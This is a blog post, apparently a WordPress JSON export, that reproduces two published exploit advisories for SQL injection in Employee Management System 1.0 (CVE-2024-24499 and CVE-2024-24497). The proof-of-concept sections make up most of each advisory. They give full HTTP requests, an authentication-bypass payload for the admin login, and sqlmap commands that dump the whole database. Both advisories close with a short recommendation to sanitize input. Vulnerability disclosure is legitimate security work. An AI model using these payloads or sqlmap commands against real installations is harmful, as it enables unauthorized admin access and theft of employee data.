# Exploit Title: Employee Management System 1.0 – `txtfullname` and `txtphone` SQL Injection
# Date: 2 Feb 2024
# Exploit Author: Yevhenii Butenko
# Vendor Homepage: https:\/\/www.sourcecodester.com
# Software Link: https:\/\/www.sourcecodester.com\/php\/16999\/employee-management-system.html
# Version: 1.0
# Tested on: Debian
# CVE : CVE-2024-24499<\/p>\n
### SQL Injection:<\/p>\n
> SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert\/Update\/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.<\/p>\n
### Affected Components:<\/p>\n
> \/employee_akpoly\/Admin\/edit_profile.php<\/p>\n
> Two parameters `txtfullname` and `txtphone` within admin edit profile mechanism are vulnerable to SQL Injection.<\/p>\n
<\/p>\n
<\/p>\n
### Description:<\/p>\n
> The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.<\/p>\n
## Proof of Concept:<\/p>\n
### SQLMap<\/p>\n
Save the following request to `edit_profile.txt`:<\/p>\n
“`
POST \/employee_akpoly\/Admin\/edit_profile.php HTTP\/1.1
Host: localhost
User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/115.0
Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application\/x-www-form-urlencoded
Content-Length: 88
Origin: http:\/\/localhost
Connection: close
Referer: http:\/\/localhost\/employee_akpoly\/Admin\/edit_profile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1<\/p>\n
txtfullname=Caroline+Bassey&txtphone=0905656&old_image=uploadImage%2Fbird.jpg&btnupdate=
“`<\/p>\n
Use `sqlmap` with `-r` option to exploit the vulnerability:<\/p>\n
“`
sqlmap -r edit_profile.txt –level 5 –risk 3 –batch –dbms MYSQL –dump
“`<\/p>\n
## Recommendations<\/p>\n
When using this Employee Management System, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.<\/p>\n
————————
# Exploit Title: Employee Management System 1.0 – `txtusername` and `txtpassword` SQL Injection (Admin Login)
# Date: 2 Feb 2024
# Exploit Author: Yevhenii Butenko
# Vendor Homepage: https:\/\/www.sourcecodester.com
# Software Link: https:\/\/www.sourcecodester.com\/php\/16999\/employee-management-system.html
# Version: 1.0
# Tested on: Debian
# CVE : CVE-2024-24497<\/p>\n
### SQL Injection:<\/p>\n
> SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert\/Update\/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.<\/p>\n
### Affected Components:<\/p>\n
> \/employee_akpoly\/Admin\/login.php<\/p>\n
> Two parameters `txtusername` and `txtpassword` within admin login mechanism are vulnerable to SQL Injection.<\/p>\n
<\/p>\n
### Description:<\/p>\n
> The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.<\/p>\n
## Proof of Concept:<\/p>\n
### Manual Exploitation<\/p>\n
The payload `’ and 1=1– -` can be used to bypass authentication within admin login page.<\/p>\n
“`
POST \/employee_akpoly\/Admin\/login.php HTTP\/1.1
Host: localhost
User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/115.0
Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application\/x-www-form-urlencoded
Content-Length: 61
Origin: http:\/\/localhost
Connection: close
Referer: http:\/\/localhost\/employee_akpoly\/Admin\/login.php
Cookie: PHPSESSID=lcb84k6drd2tepn90ehe7p9n20
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1<\/p>\n
txtusername=admin’ and 1=1– -&txtpassword=password&btnlogin=
“`<\/p>\n
### SQLMap<\/p>\n
Save the following request to `admin_login.txt`:<\/p>\n
“`
POST \/employee_akpoly\/Admin\/login.php HTTP\/1.1
Host: localhost
User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/115.0
Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application\/x-www-form-urlencoded
Content-Length: 62
Origin: http:\/\/localhost
Connection: close
Referer: http:\/\/localhost\/employee_akpoly\/Admin\/login.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1<\/p>\n
txtusername=admin&txtpassword=password&btnlogin=
“`<\/p>\n
Use `sqlmap` with `-r` option to exploit the vulnerability:<\/p>\n
“`
sqlmap -r admin_login.txt –level 5 –risk 3 –batch –dbms MYSQL –dump
“`<\/p>\n
## Recommendations<\/p>\n
When using this Employee Management System, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: Employee Management System 1.0 – `txtfullname` and `txtphone` SQL Injection# Date: 2 Feb 2024# Exploit Author: Yevhenii Butenko# Vendor Homepage: https:\/\/www.sourcecodester.com# Software Link: https:\/\/www.sourcecodester.com\/php\/16999\/employee-management-system.html# Version: 1.0# Tested on: Debian# CVE : CVE-2024-24499 ### SQL Injection: > SQL injection is a type of security vulnerability that allows an attacker to interfere with the …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-55803","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55803","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=55803"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55803\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=55803"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=55803"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=55803"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}